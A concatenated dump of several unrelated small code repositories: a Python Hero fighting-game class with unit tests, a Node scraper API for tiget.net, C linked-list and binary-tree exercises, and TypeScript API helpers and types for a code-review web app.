install
} | 464f88c50ad23be416928515bf0128b1348965f4 | [
"JavaScript",
"Markdown"
] | 3 | JavaScript | zmaydays/shikelang-vue | ae13e1500888a5a27e2e9002bf596d190c9c8c8f | 218cd39625d63acee2b2fe67bc43d7aac8f623a8 |
refs/heads/main | <repo_name>Dominik-DD/code_samples<file_sep>/oop_sample_test.py
import unittest
from oop_sample import Hero
#testovanie logiky a funkcii
class Test_Hero_methods(unittest.TestCase):
def setUp(self):
self.knight = Hero('Aragorn', 'sword', 100)
self.elf = Hero('Legolas', 'bow', 90)
def test_figh_logic(self):
self.assertEqual(Hero.fight_result("sword","sword"),"draw")
self.assertEqual(Hero.fight_result("sword", "axe"), "win")
self.assertEqual(Hero.fight_result("sword", "bow"), "lose")
self.assertEqual(Hero.fight_result("sword", "socks"), "lose")
self.assertEqual(Hero.fight_result("axe", "sword"), "lose")
self.assertEqual(Hero.fight_result("axe", "axe"), "draw")
self.assertEqual(Hero.fight_result("axe", "bow"), "win")
self.assertEqual(Hero.fight_result("axe", "socks"), "lose")
self.assertEqual(Hero.fight_result("bow", "sword"), "win")
self.assertEqual(Hero.fight_result("bow", "axe"), "lose")
self.assertEqual(Hero.fight_result("bow", "bow"), "draw")
self.assertEqual(Hero.fight_result("bow", "socks"), "lose")
self.assertEqual(Hero.fight_result("socks", "sword"), "win")
self.assertEqual(Hero.fight_result("socks", "axe"), "win")
self.assertEqual(Hero.fight_result("socks", "bow"), "win")
self.assertEqual(Hero.fight_result("socks", "socks"), "draw")
def test_fight_method(self):
self.knight.fight(self.elf)
self.assertEqual(self.knight.hp,0)
def test_beer_method(self):
self.knight.hp = 0
self.knight.beer()
self.assertEqual(self.knight.hp,self.knight.max_hp)
if __name__ == '__main__':
unittest.main()<file_sep>/oop_sample.py
class Hero:
def __init__(self, type, weapon, max_hp):
self.type = type
self.weapon = weapon
self.max_hp = max_hp
self.hp = max_hp
def fight(self, other):
if self == other:
print("can´t fight myself")
elif self.hp <= 0:
print('can´t fight right now, give me some beer !')
else:
result = self.fight_result(self.weapon, other.weapon)
if result == 'lose':
self.hp = 0
print(f"{self.type} you lose!")
elif result == 'draw':
self.hp -= 10
other.hp -= 10
print(f"fight between {self.type} and {other.type} is over. It's a draw.")
elif result == 'win':
other.hp = 0
print(f"{self.type} you won.")
def beer(self):
if self.hp < self.max_hp:
self.hp += self.max_hp - self.hp
print(f"{self.type} recovered HP.")
else:
print(f"{self.type} HP is already full.")
@staticmethod
def fight_result(weapon_1, weapon_2):
'''
game logic:
weapon | strong vs | weak vs
-------------------------------
sword | axe | bow
axe | bow | sword
bow | sword | axe
socks = ultimate weapon
same weapon type = draw
'''
# result mapping
result_map = {0: "lose", 1: "win", 2: "draw"}
# weapon mapping
weapon_map = {"sword": 0, "axe": 1, "bow": 2, "socks": 3}
# win-lose-draw matrix
result_table = [
[2, 1, 0, 0], # sword
[0, 2, 1, 0], # axe
[1, 0, 2, 0], # bow
[1, 1, 1, 2] # socks
]
result = result_table[weapon_map[weapon_1]][weapon_map[weapon_2]]
return result_map[result]
def __str__(self):
return f"{self.type}, weapon: {self.weapon}, hp/max_hp {self.hp}/{self.max_hp}"
def __repr__(self):
return f"Hero('{self.type}', '{self.weapon}', {self.max_hp})"
if __name__ == "__main__":
knight = Hero('Aragorn', 'sword', 100)
elf = Hero('Legolas', 'bow', 90)
dwarf = Hero('Gimli', 'axe', 120)
hamster = Hero('Dedoles', 'socks', 1_000_000)
breakpoint()
#run from terminal | 09148da71c5f09a164cd3f1c4b3d3e8d1c71efef | [
"Python"
] | 2 | Python | Dominik-DD/code_samples | 45c463798395c2e3fcf7ce4dac5f0e6512eb1cda | b98a83df5542a3bd9b928bd1f82ad1a34691dfb4 |
refs/heads/master | <repo_name>yukiyukiponsu/tiget-api<file_sep>/user.js
var moment = require('moment');
var Xray = require('x-ray');
var x = Xray();
// User
module.exports = id => {
return new Promise(resolve => {
x(`https://tiget.net/users/${id}`, '#content', {
'artist': '.artist-name',
'events': x('.artist-panel-scroll.live-box', {
'date': ['.live-date'],
'name': ['.live-title-link'],
'link': ['.live-title-link@href'],
})
})((err, data) => {
console.log(err);
const pastEvents = [];
const events = [];
for (let i = 0; i < data.events.date.length; i++) {
const event = {
date: data.events.date[i],
name: data.events.name[i],
link: data.events.link[i],
};
var now = moment();
var eventMoment = moment(event.date, 'YYYY年MM月DD日');
// If event.date is in the past add to pastEvents else add to events
if (moment(eventMoment).isBefore(now)) {
pastEvents.push(event);
} else {
events.push(event);
}
}
const res = {
id: id,
artist: data.artist,
link: `https://tiget.net/users/${id}`,
pastEvents: pastEvents,
events: events
};
return resolve(res);
});
});
};
<file_sep>/index.js
const {send} = require('micro');
const getEvent = require('./event');
const getUser = require('./user');
module.exports = async (req, res) => {
if (req.url === '/') {
return send(res, 200, {
routes: [
'/event/{id}',
'/user/{id}'
]
});
}
if (req.url !== '/favicon.ico') {
const url = req.url.slice(1);
const splitUrl = url.split('/', 2);
const route = splitUrl[0];
const id = splitUrl[1];
if (route === 'event') {
const eventData = await getEvent(id);
return send(res, 200, eventData);
}
if (route === 'user') {
const userData = await getUser(id);
return send(res, 200, userData);
}
}
return res.status(404);
}; | f2e42af3f360f402bcff58b6a06cbd1103d11def | [
"JavaScript"
] | 2 | JavaScript | yukiyukiponsu/tiget-api | 71fdbd27f2152fa16cfa69f2f737ac7f961d5552 | b101bad6370d434add84f5383addb53f3218f802 |
refs/heads/main | <repo_name>juwbr/repl.it<file_sep>/02_BinaryTree/BinaryTree.c
#include <stdio.h>
#include <stdlib.h>
struct Leaf {
int n;
struct Leaf* left;
struct Leaf* right;
};
struct Leaf* root = NULL;
int getInput(){
printf("Enter number: \nMy number = ");
int i = 0;
scanf("%d", &i);
printf("\n");
return i;
}
void printTree(struct Leaf* start){
if(start != NULL){
printf("%d, ", start->n);
printTree(start->left);
printTree(start->right);
}
}
void addLeaf(struct Leaf* start, int n){
if(root == NULL){
printf("%d, ", __LINE__);
root = malloc(sizeof(struct Leaf));
if(root == NULL){
return;
}
root->n = n;
root->left = NULL;
root->right = NULL;
} else {
if(start != NULL){
if(start->n != n){
struct Leaf** temp = start->n > n ? &(start->left) : &(start->right);
if(*temp == NULL){
*temp = malloc(sizeof(struct Leaf));
if(*temp == NULL)
return;
(*temp)->n = n;
(*temp)->left = NULL;
(*temp)->right = NULL;
} else
addLeaf(*temp, n);
}
}
}
}
void removeLeafWithPrev(struct Leaf* prev, struct Leaf* cur, int n){
// struct L** t = (*s).n > n ? &((*s).l) : &((*s).r);
if((cur) != NULL){
if((cur)->n == n){
(prev)->left = (cur)->left;
(prev)->right = (cur)->right;
free(cur);
} else {
removeLeafWithPrev(cur, n < (cur->n) ? (cur->left) : (cur->right), n);
}
}
}
void removeLeaf(struct Leaf* cur, int n){
if(cur != NULL){
if(n < cur->n) {
removeLeafWithPrev(cur, (cur->left), n);
} else {
removeLeafWithPrev(cur, (cur->right), n);
}
}
}
int main(void){
int method = 0;
addLeaf(root, 5);
addLeaf(root, 1);
addLeaf(root, 3);
addLeaf(root, 4);
addLeaf(root, 0);
addLeaf(root, 2);
do {
printf("1 - Print tree\n2 - Add node\n3 - Remove node\nMethod = ");
scanf("%d", &method);
printf("\n");
switch(method) {
case 1:
printf("\nOutput: ");
printTree(root);
printf("\n\n");
break;
case 2:
addLeaf(root, getInput());
break;
case 3:
removeLeaf(root, getInput());
break;
default:
break;
}
method = 0;
} while(method == 0);
return 0;
return EXIT_SUCCESS;
}<file_sep>/01_LinkedList/LinkedList.c
#include <stdio.h>
#include <stdlib.h>
struct Node {
int n;
struct Node* next;
};
struct Node* s = NULL;
void printList() {
printf("Output: ");
struct Node* c = s;
while(c != NULL){
printf("%d, ", c->n);
c = c->next;
}
printf("\n\n");
}
void addNode(){
printf("Enter number: \nMy number = ");
int i = 0;
scanf("%d", &i);
printf("\n");
if(s == NULL){
s = malloc(sizeof(struct Node));
if(s == NULL){
printf("\nCould not allocate memory.\n");
return;
}
s->n = i;
s->next = NULL;
} else {
struct Node* c = s;
while(c->next != NULL){
c = c->next;
}
c->next = malloc(sizeof(struct Node));
if(s == NULL){
printf("\nCould not allocate memory.\n");
return;
}
c->next->n = i;
c->next->next = NULL;
}
}
void removeNode() {
printf("Enter number: \nMy number = ");
int i = 0;
scanf("%d", &i);
printf("\n");
if(s != NULL) {
if(s->n == i){
struct Node* h = s->next;
free(s);
s = h;
} else {
struct Node* c = s;
while(c->next != NULL){
if(c->next->n == i){
struct Node* h1 = c;
struct Node* h2 = c->next;
h1->next = h2->next;
free(h2);
return;
}
c = c->next;
}
}
}
}
int main(void) {
int method = 0;
do {
printf("1 - Print list\n2 - Add node\n3 - Remove node\nMethod = ");
scanf("%d", &method);
printf("\n");
switch(method) {
case 1:
printList();
break;
case 2:
addNode();
break;
case 3:
removeNode();
break;
default:
break;
}
method = 0;
} while(method == 0);
return 0;
}<file_sep>/02_BinaryTree/BinaryTreee.c
#include <stdio.h>
#include <stdlib.h>
struct L {
int n;
struct L* l;
struct L* r;
};
struct L* r = NULL;
int getInput(){
printf("Enter number: \nMy number = ");
int i = 0;
scanf("%d", &i);
printf("\n");
return i;
}
void printTree(struct L* s){
if(s != NULL){
printf("%d, ", s->n);
printTree(s->l);
printTree(s->r);
}
}
void aL(struct L* s, int n){
if(r == NULL){
printf("%d, ", __LINE__);
r = malloc(sizeof(struct L));
if(r == NULL){
return;
}
r->n = n;
r->l = NULL;
r->r = NULL;
} else {
if(s != NULL){
if((*s).n != n){
struct L** t = (*s).n > n ? &((*s).l) : &((*s).r);
if(*t == NULL){
*t = malloc(sizeof(struct L));
if(*t == NULL)
return;
(**t).n = n;
(**t).l = NULL;
(**t).r = NULL;
} else
aL(*t, n);
}
}
}
}
void rL(struct L* s, int n){
}
int main(void){
int method = 0;
do {
printf("1 - Print tree\n2 - a node\n3 - r node\nMethod = ");
scanf("%d", &method);
printf("\n");
switch(method) {
case 1:
printf("\nOutput: ");
printTree(r);
printf("\n\n");
break;
case 2:
aL(r, getInput());
break;
case 3:
rL(r, getInput());
break;
default:
break;
}
method = 0;
} while(method == 0);
return 0;
return EXIT_SUCCESS;
} | 6a861a16ea2e576c954279bb0a1693cda44ffd31 | [
"C"
] | 3 | C | juwbr/repl.it | f7c9eb5349cd2fe5dc2df70ac2b17a889fbe35c8 | 150379f3f2acc37d33f52ec96032c43763bec7a8 |
refs/heads/master | <repo_name>JorgeIturrieta/sockets-fundamentos<file_sep>/public/js/socket-custom.js
var socket = io() ;
// Escuchar sucesos
socket.on('connect',function(){
console.log('Conectado al servidor');
});
socket.on('disconnect',function() {
console.log('Perdimos conexión con el servidor');
});
//Enviar información
socket.emit('enviarMensaje',{
usuario: 'Jorge' ,
message: 'Holaa mundo!!'
},function(resp){
console.log(resp);
});
// Escuchar informacion del servidor
socket.on('enviarMensaje',function(resp) {
console.log('Servidor:',resp);
});
| 3cab1fe058c03dec18b54da488b9bfd600716783 | [
"JavaScript"
] | 1 | JavaScript | JorgeIturrieta/sockets-fundamentos | 0c6c07fc014eb2f42c46bca2d169ea4051428bf4 | 78e4de860a35b1b0f8bd49e9eb57344f1de7b141 |
refs/heads/master | <file_sep><?php
class RemoteAPI
{
public static function request($url, $method, $params) {
Log::info((Auth::check() ? Auth::user()->username : json_encode($params)) . ' URL : ' . $url);
$process = curl_init();
curl_setopt($process, CURLOPT_URL, $url);
curl_setopt($process, CURLOPT_RETURNTRANSFER, TRUE);
curl_setopt($process, CURLOPT_SSL_VERIFYPEER, FALSE);
//url-ify the data for the POST
curl_setopt($process, CURLOPT_CUSTOMREQUEST, $method);
if(!empty($params))
{
curl_setopt($process, CURLOPT_POSTFIELDS, json_encode($data));
}
curl_setopt($process, CURLOPT_RETURNTRANSFER, true);
curl_setopt($process, CURLOPT_HTTPHEADER, array(
'Content-Type: application/json',
'Content-Length: ' . strlen(json_encode($params))
));
$status = curl_exec($process);
curl_close($process);
return $status;
}
public static function Containers($url)
{
$client = new Docker\Http\DockerClient(array(), $url . ':4243/containers/json');
$docker = new Docker\Docker($client);
$containers = $docker->getContainerManager()->findAll();
$arr = [];
foreach($containers as $container)
{
$obj = $docker->getContainerManager()->find($container->getId());
$arr[] = $obj;
}
return $arr;
}
public static function stopContainer($id, $url)
{
$client = new Docker\Http\DockerClient(array(), $url . ':4243/containers/json');
$docker = new Docker\Docker($client);
$container = $docker->getContainerManager()->find($id);
$ret = $docker->getContainerManager()->stop($container);
$data = $ret->find($id);
echo '<pre>';
print_r($data);
}
public static function startContainer($id, $url)
{
$client = new Docker\Http\DockerClient(array(), $url . ':4243/containers/json');
$docker = new Docker\Docker($client);
$container = $docker->getContainerManager()->find($id);
$ret = $docker->getContainerManager()->start($container);
$data = $ret->find($id);
echo '<pre>';
print_r($data);
}
public static function Containers2($url)
{
$process = curl_init();
curl_setopt($process, CURLOPT_URL, $url);
curl_setopt($process, CURLOPT_RETURNTRANSFER, TRUE);
curl_setopt($process, CURLOPT_SSL_VERIFYPEER, FALSE);
curl_setopt($process, CURLOPT_CUSTOMREQUEST, "GET");
$status = curl_exec($process);
curl_close($process);
return $status;
}
}
<file_sep><?php
return array(
'home' => 'home',
'account' => 'account',
'CreateAccount' => 'CreateAccount',
'EditAccount' => 'EditAccount',
'deployment' => 'deployment',
'CreateDeployment' => 'CreateDeployment',
'EngineLog' => 'EngineLog',
'ServiceStatus' => 'ServiceStatus',
'Reserved' => 'Reserved',
'Ticket' => 'Ticket',
'AddTicket' => 'AddTicket',
'DataSecurity' => 'DataSecurity',
'Roadmap' => 'Roadmap',
'DevOps' => 'DevOps',
'Videos' => 'Videos',
'Container' => 'Container'
); | 39b9855e68fc831900e43740a9b308ed0f4a1dbe | [
"PHP"
] | 2 | PHP | araoxervmon/app | 9e2eb5b13a615f4c4df420ee3b11ac7da1ec0f9f | 84c9a86c64175eea033454d07fab6f52941d2c60 |
refs/heads/main | <file_sep>import { apis } from '@/consts/api/';
import { ResponseGithubBranchesTypes } from '@/types/api/get-github-branches';
import { axios } from '@/utils/axios';
import { AxiosResponse } from 'axios';
type PramsTypes = {
repository: string;
};
export const getGithubBranches = async (
params: PramsTypes
): Promise<AxiosResponse<ResponseGithubBranchesTypes>> => {
return await axios.get(apis.GITHUB_BRANCHES, { params });
};
<file_sep>import { apis } from "@/consts/api/";
import { UserProfileTypes } from "@/types/global";
import { axios } from "@/utils/axios";
type PramsProps = {
userProfile: UserProfileTypes;
};
export const postUserProfile = async (params: PramsProps) => {
return await axios.post(apis.USER_PROFILE, params);
};
<file_sep>import { Auth } from 'aws-amplify';
import baseAxios, { AxiosRequestConfig } from 'axios';
// import { setCookie } from 'nookies';
export const axios = baseAxios.create({
baseURL: process.env.NEXT_PUBLIC_API_URL,
});
axios.interceptors.request.use((config: AxiosRequestConfig) => {
return Auth.currentSession()
.then(session => {
// setCookie(null, 'idToken', session.getIdToken().getJwtToken());
config.headers.Authorization = session.getIdToken().getJwtToken();
return Promise.resolve(config);
})
.catch(() => {
config.headers.Authorization = '';
return Promise.resolve(config);
});
});
<file_sep>import { apis } from '@/consts/api/';
import { axios } from '@/utils/axios';
import { AxiosResponse } from 'axios';
import { ResponseContentTypes } from '@/types/api/get-content';
type ParamsType = {
postId: string;
};
export const getContent = async (
params: ParamsType
): Promise<AxiosResponse<ResponseContentTypes>> => {
return await axios.get(apis.CONTENT, { params });
};
<file_sep>export type ResponseWithdrawalType = {
totalWithdrawal: number;
hasBank: boolean;
status: boolean;
status_code: number;
status_message: string;
};
<file_sep>## よかった点
三項演算子は上のように JSX 内以外でも使えます。(当たり前ですが)
この場合 active === true のとき文字列 hoge が、active === false のとき文字列 fuga が返されます。
この書き方のいいところは。
```javascript
exports.handler = async (event) => {
const body = JSON.parse(event.body);
console.log("api received!", body);
const response = {
statusCode: 200,
body: JSON.stringify([body.hoge, body.fuga, body.piyo]),
};
return response;
};
```
### Lambda 側のトリガー設定から新規 REST API を作成
検証用に、ごくごくシンプルな設定で API を作成
実運用では「オープン」は危険なので要注意
HTTP API ではマッピングテンプレートが使えないので、REST API にする
## 改善点
基本的には、useEffect の callback 関数が実行される前と理解してもらって問題ないと思います。
細かく言うと、v16 と v17 で clean-up 関数が呼び出されるタイミングが違います。
あとコンポーネントが unmount するか、re-render するかによっても挙動が異なりますが、ここでは深く触れないので useEffect の callback 関数が実行される前ということを理解してもらったらいいと思います。
```javascript
React.useEffect(() => {
if (mountRef.current) {
const fakeFetch = () => {
return (
new Promise() <
string >
((res) => {
setTimeout(() => res(`${person}'s data`), Math.random() * 5000);
})
);
};
fakeFetch().then((data) => setData(data));
} else {
mountRef.current = true;
}
}, [person]);
```
<file_sep>import { CommentListTypes, CustomReviewTypes } from '@/types/global';
export type ResponseReviewsTypes = {
Items: {
reviews: CustomReviewTypes[];
paymentedList: { [key: string]: boolean };
commentList: CommentListTypes;
};
status: boolean;
status_code: number;
status_message: string;
};
<file_sep>import { apis } from '@/consts/api/';
import { ResponseGithubReposTypes } from '@/types/api/get-github-repos';
import { axios } from '@/utils/axios';
import { AxiosResponse } from 'axios';
export const getGithubRepos = async (): Promise<
AxiosResponse<ResponseGithubReposTypes>
> => {
return await axios.get(apis.GITHUB_REPOS);
};
<file_sep>import { getBookmark } from '@/utils/api/get-bookmark'
import { useEffect, useState } from 'react'
export const useGetBookmark = (postId: string) => {
const [hasBookmark, setHasBookmark] = useState(false)
useEffect(() => {
;(async () => {
const result = await getBookmark({ postId })
setHasBookmark(result.data.Item ? true : false)
})()
}, [])
return { hasBookmark, setHasBookmark }
// const { data, isValidating } = useSWR(
// apis.BOOKMARK,
// () => fetcher(myUserId, postId),
// {
// refreshInterval: 0,
// // initialData: {
// // Item: {
// // partition_key: '',
// // sort_key: ''
// // },
// // status: true,
// // status_code: 200,
// // status_message: ''
// // },
// dedupingInterval: 2000,
// revalidateOnFocus: false,
// focusThrottleInterval: 5000,
// },
// )
// return { data, isValidating }
}
<file_sep>export type UserTypes = {
create_day: number;
create_month: number;
create_year: number;
display_name: string;
is_payment: boolean;
partition_key: string;
sort_key: string;
type: string;
user_id: string;
user_profile: UserProfileTypes;
email_notices: EmailNoticesTypes;
is_github_connect: boolean;
is_delete: boolean;
};
export type PostContentsTypes = {
update_day: number;
update_month: number;
partition_key: string;
is_delete: boolean;
contents: CamelContentTypes;
sort_key: string;
user_id: string;
post_status: number;
update_year: number;
user_profile: UserProfileTypes;
create_year: number;
create_day: number;
create_month: number;
type: string;
[key: string]: any;
};
export type GetContentsTypes = {
contents: ContentTypes;
user_profile: UserProfileTypes;
date: string;
post_url: string;
post_status: number;
};
export type GetContentTypes = {
partition_key: string;
sort_key: string;
contents: CamelContentTypes;
user_profile: UserProfileTypes;
type: 'post_published' | 'post_draft';
post_status: number;
[key: string]: any;
};
export type ReviewTypes = {
partition_key: string;
sort_key: string;
type: string;
contents: ReviewContentsTypes;
user_id: string;
user_profile: UserProfileTypes;
price: number;
is_reaction: boolean;
reaction_users: {
display_name: string;
icon_src: string;
}[];
remaining_length: number;
payment_area: number;
payment_type: number;
create_year: number;
create_day: number;
create_month: number;
update_year: number;
update_month: number;
update_day: number;
is_delete: boolean;
id: string;
// TODO:実際にこの型ではcommentsは要らない。のけ方がわからないのでとりあえず入れておく
comments: ResponseCommentTypes[];
};
export type ContentTypes = {
tag_list: string[];
target_icon: {
icon_path: string;
id: number;
value: string;
};
description: {
body_html: string;
value: string;
};
input_file_name_lists: {
body_html: string;
file_name: string;
is_valid: boolean;
key: string;
source_code: string;
}[];
target_language: number;
source_tree: SourceTreeTypes[];
node_ids: string[];
title: string;
budget: number;
};
export type ProgrammingIcon = {
id: number;
value: string;
iconPath: string;
ogpPath: string;
};
export type CamelContentTypes = {
tagList: string[];
targetIcon: ProgrammingIcon;
description: {
bodyHtml: string;
value: string;
};
inputFileNameLists: {
bodyHtml: string;
fileName: string;
isValid: boolean;
isAuto: boolean;
key: string;
sourceCode: string;
}[];
targetLanguage: number;
source_tree: SourceTreeTypes[];
node_ids: string[];
title: string;
budget: number;
};
export type UserProfileTypes = {
display_name: string;
github_name: string;
icon_src: string;
introduction: string;
position_type: number;
price: number;
skils: {
language: string;
years_experiences: number;
}[];
twitter_name: string;
web_site: string;
};
export type EmailNoticesTypes = {
is_opened_review: boolean;
is_posted_review: boolean;
is_commented_review: boolean;
};
export type BankTypes = {
bank_code: string;
bank_name: string;
branch_code: string;
branch_name: string;
deposit_type: number | null;
account_number: string;
account_name: string;
};
export type CreditTypes = {
partition_key: string;
sort_key: string;
customer_id: string;
setup_id: string;
setup_method: string;
last4_chara: string;
customChara: string;
};
export type SourceTreeTypes = {
id: string;
name: string;
active_step?: number;
children?: SourceTreeTypes[];
};
export type GithubSourceTreeTypes = {
id: string;
name: string;
fullPath?: string;
type: 'file' | 'dir';
sha?: string;
children?: GithubSourceTreeTypes[];
};
export type BookmarkTypes = {
partition_key: string;
sort_key: string;
};
export type ReviewContentsTypes = {
review: {
title: string;
value: string;
body_html: string;
display_body_html: string;
};
};
export type CustomReviewTypes = {
partition_key: string;
sort_key: string;
type: string;
contents: CustomReviewContentsTypes;
user_id: string;
user_profile: UserProfileTypes;
price: number;
is_reaction: boolean;
reaction_users: {
display_name: string;
icon_src: string;
}[];
remaining_length: number;
payment_area: number;
payment_type: number;
create_year: number;
create_day: number;
create_month: number;
update_year: number;
update_month: number;
update_day: number;
is_delete: boolean;
id: string;
};
export type CustomReviewContentsTypes = {
review: {
title: string;
display_body_html: string;
};
};
export type PaymentsTypes = {};
export type ErrorTypes = {
data: {
status: boolean;
status_message: string;
status_code: number;
[key: string]: any;
};
};
export type PostsTypes = {
partition_key: string;
sort_key: string;
posted_contents: ContentTypes;
user_profile: UserProfileTypes;
post_status: number;
url: string;
date: string;
};
export type DraftsTypes = {
partition_key: string;
sort_key: string;
contents: ContentTypes;
post_status: number;
url: string;
date: string;
};
export type PostsTypesInPayments = PostsTypes & {
payments: PaymentedTypes[];
};
export type PaymentedTypes = {
partition_key: string;
sort_key: string;
reviewed_contents: ReviewContentsTypes;
reviewer_user_profile: UserProfileTypes;
reviewer_user_id: string;
price: number;
date: string;
};
export type ReviewsTypes = {
partition_key: string;
sort_key: string;
posted_user_profile: UserProfileTypes;
posted_contents: ContentTypes;
url: string;
date: string;
post_status: number;
};
export type SaleTypes = {
partition_key: string;
sort_key: string;
reviewed_contents: ReviewContentsTypes;
purchaser_profile: UserProfileTypes;
year: number;
month: number;
day: number;
date: string;
price: number;
};
export type CommentContentsTypes = {
comment: {
value: string;
body_html: string;
};
};
export type ResponseCommentTypes = {
user_profile: UserProfileTypes;
contents: CommentContentsTypes;
date: string;
};
export type CommentListTypes = {
[key: string]: ResponseCommentTypes[];
};
export type GithubReposTypes = {
name: string;
fullName: string;
branches: GithubBranchesTypes[];
};
export type GithubBranchesTypes = {
name: string;
};
// export type CustomReviewTypesInCommentsTypes = CustomReviewTypes & {
// comments: ResponseCommentTypes[];
// };
<file_sep>import { SaleTypes } from '@/types/global';
export type SalesTypes = {
sales: SaleTypes[];
totalSales: number;
currentTotalSales: number;
confirmedSales: number;
labels: string[];
salesList: number[];
backGrounds: string[];
status: boolean;
status_code: number;
status_message: string;
};
<file_sep>import { GithubBranchesTypes } from './../global/index';
export type ResponseGithubBranchesTypes = {
branches: GithubBranchesTypes[];
status: boolean;
status_code: number;
status_message: string;
};
<file_sep>import * as CONSTS from '@/consts/const';
export class Validation {
constructor() {}
static validLength = (value: string, maxLength: number): boolean => {
return value.length <= maxLength;
};
static validEmpty = (value: string) => {
return value !== '';
};
static validNumber = (value: string) => {
const regExp = new RegExp(/^[0-9]*$/);
return regExp.test(value);
};
static validPrice = (value: number) => {
return value > 0 && value <= CONSTS.MAX_PRICE;
};
}
<file_sep>import * as CONSTS from '@/consts/const';
export const validLength = (value: string, maxLength: number): boolean => {
return value.length <= maxLength;
};
export const validImageSize = (fileSize: number) => {
return fileSize <= CONSTS.MAX_FILE_SIZE;
};
export const validImageExtention = (fileExtention: string) => {
return CONSTS.ALLOW_FILE_EXTENTION_LIST.includes(fileExtention);
};
export const validEmpty = (value: string) => {
return value !== '';
};
export const validZeroLength = (list: any[]) => {
return list.length === 0;
};
<file_sep>import { apis } from '@/consts/api/';
import { axios } from '@/utils/axios';
type Props = {
value: number;
};
export const postWithdrawal = async (params: Props) => {
return await axios.post(apis.WITHDRAWAL, params);
};
<file_sep>export const apis = {
REGISTER: '/api/register',
USER: '/api/user',
USER_PROFILE: '/api/userProfile',
USERS: '/api/users',
USER_CONTENTS: '/api/userContents',
MY_CONTENTS: '/api/myContents',
MY_DTAFTS: '/api/myDrafts',
MY_PAYMENTS: '/api/myPayments',
MY_BOOKMARKS: '/api/myBookmarks',
CONTENTS: '/api/contents',
CONTENT: '/api/content',
COMMENT: '/api/comment',
PAGES_URL: '/api/pagesUrl',
DISPLAY_NAME: '/api/displayName',
REGISTER_CONTENT: '/api/registerContent',
PRESIGNED_URL: '/api/presignedUrl',
SUGGEST_PROGRAMMINGL_ANGUAGES: '/api/suggestProgrammingLanguages',
EMAIL_NOTICES: '/api/emailNotices',
BANK: '/api/bank',
CREDIT: '/api/credit',
BOOKMARK: '/api/bookmark',
REVIEW: 'api/review',
REVIEWS: 'api/reviews',
PAYMENT: 'api/payment',
REGISTER_CUSTOMER: 'api/registerCustomer',
REGISTER_PAYMENT: 'api/registerPayment',
NOTICES: 'api/notices',
SALES: 'api/sales',
REACTION: 'api/reaction',
WITHDRAWAL: 'api/withdrawal',
POST_STATUS: 'api/postStatus',
GITHUB_OAUTH: 'api/githubOAuth',
GITHUB_REPOS: 'api/githubRepos',
GITHUB_BRANCHES: 'api/githubBranches',
GITHUB_SOURCE_TREE: 'api/githubSourceTree',
GITHUB_ENCODE_CONTENT: 'api/githubEncodeContent',
};
<file_sep>import { apis } from "@/consts/api/";
import { EmailNoticesTypes } from "@/types/global";
import { axios } from "@/utils/axios";
type PramsProps = {
emailNotices: EmailNoticesTypes;
};
export const postEmailNotices = async (params: PramsProps) => {
return await axios.post(apis.EMAIL_NOTICES, params);
};
<file_sep>import { UserTypes } from "@/types/global";
import { getUser } from "@/utils/api/get-user";
import { useEffect, useState } from "react";
export const useUser = (currentUser: UserTypes | null) => {
const [isLoading, setIsLoading] = useState(true);
const [user, setUser] = useState<UserTypes | null>(currentUser!);
useEffect(() => {
const err = new Error();
(async () => {
try {
const response = await getUser();
const result = response.data;
if (!result.status) {
err.message = result.status_message;
throw err;
}
setUser(result.Item);
setIsLoading(false);
} catch (error) {
console.log(error);
alert(error);
}
})();
}, []);
return { user, setUser, isLoading };
};
<file_sep>import { Event } from '@/types/googleAnalytics';
export const GA_ID = process.env.NEXT_PUBLIC_GOOGLE_ANALYTICS_ID ?? '';
// IDが取得できない場合を想定する
export const existsGaId = GA_ID !== '';
// PVを測定する
export const pageview = (path: string) => {
window.gtag('config', GA_ID, {
page_path: path,
});
};
// GAイベントを発火させる
export const event = ({
eventAction,
eventCategory,
eventLabel,
value = '',
}: Event) => {
if (!existsGaId) {
return;
}
window.gtag('event', eventAction, {
event_category: eventCategory,
event_label: JSON.stringify(eventLabel),
value,
});
};
<file_sep>import theme from "@/styles/theme";
import { muiTheme } from "storybook-addon-material-ui";
export const decorators = [muiTheme([theme])];
const addParameters = require("@storybook/react").addParameters;
addParameters({
options: {
storySort: (a, b) =>
a[1].kind === b[1].kind
? 0
: a[1].id.localeCompare(b[1].id, undefined, { numeric: true }),
},
});
<file_sep>import { apis } from "@/consts/api/";
import { ResponseCreditType } from "@/types/api/get-credit";
import { axios } from "@/utils/axios";
import { AxiosResponse } from "axios";
export const getCredit = async (): Promise<
AxiosResponse<ResponseCreditType>
> => {
return await axios.get(apis.CREDIT);
};
<file_sep># ありがとうございます
とてもわかりやすいレビューありがとうございます!
すごくためになりました!
- test
- teast
- tes
> 基本的には、useEffect の callback 関数が実行される前と理解してもらって問題ないと思います。
> 細かく言うと、v16 と v17 で clean-up 関数が呼び出されるタイミングが違います。
> あとコンポーネントが unmount するか、re-render するかによっても挙動が異なりますが、ここでは深く触れないので >useEffect の callback 関数が実行される前ということを理解してもらったらいいと思います。
この部分はこう言う意味でしょうか??
```ts
type Props = {
id: string;
isFullDisplayButton: boolean;
headerText: string;
changeActiveStep: (value: number) => void;
onChange: (value: string) => void | any;
value: string;
activeStep: number;
isValid: boolean;
updateCanPublish: (isValid: boolean, message?: any) => void;
uploadImageToS3: (presignedUrl: string, image: any) => void;
MAX_LENGTH: number;
currentIndex?: number;
handleTabChange?: (event: React.ChangeEvent<{}>, value: any) => void;
inputFileNameLists?: {
key: string;
fileName: string;
sourceCode: string;
bodyHtml: string;
isValid: boolean;
}[];
};
```
<file_sep>export const POSITIONS = [
{
value: 0,
label: "未選択",
},
{
value: 1,
label: "フルスタックエンジニア",
},
{
value: 2,
label: "フロントエンドエンジニア",
},
{
value: 3,
label: "サーバーサイドエンジニア",
},
{
value: 4,
label: "インフラエンジニア",
},
];
<file_sep>import { apis } from "@/consts/api/";
import { axios } from "@/utils/axios";
export const getUsers = async () => {
return await axios.get(apis.USERS);
};
<file_sep>export const messages = {
UPDATED_MESSAGE: '変更の反映には時間がかかることがあります。'
}<file_sep>import { PostsTypes } from "@/types/global";
export type MyBookmarksTypes = {
posts: PostsTypes[];
status: boolean;
status_code: number;
status_message: string;
};
<file_sep>import { apis } from "@/consts/api/";
import { axios } from "@/utils/axios";
import { PaymentIntent } from "@stripe/stripe-js";
import { AxiosResponse } from "axios";
type ParamsType = {
postId: string;
reviewId: string;
userId: string;
price: number;
title: string;
paymentMethod: string;
customerId: string;
};
export const postPayment = async (
params: ParamsType
): Promise<AxiosResponse<PaymentIntent>> => {
return await axios.post(apis.PAYMENT, params);
};
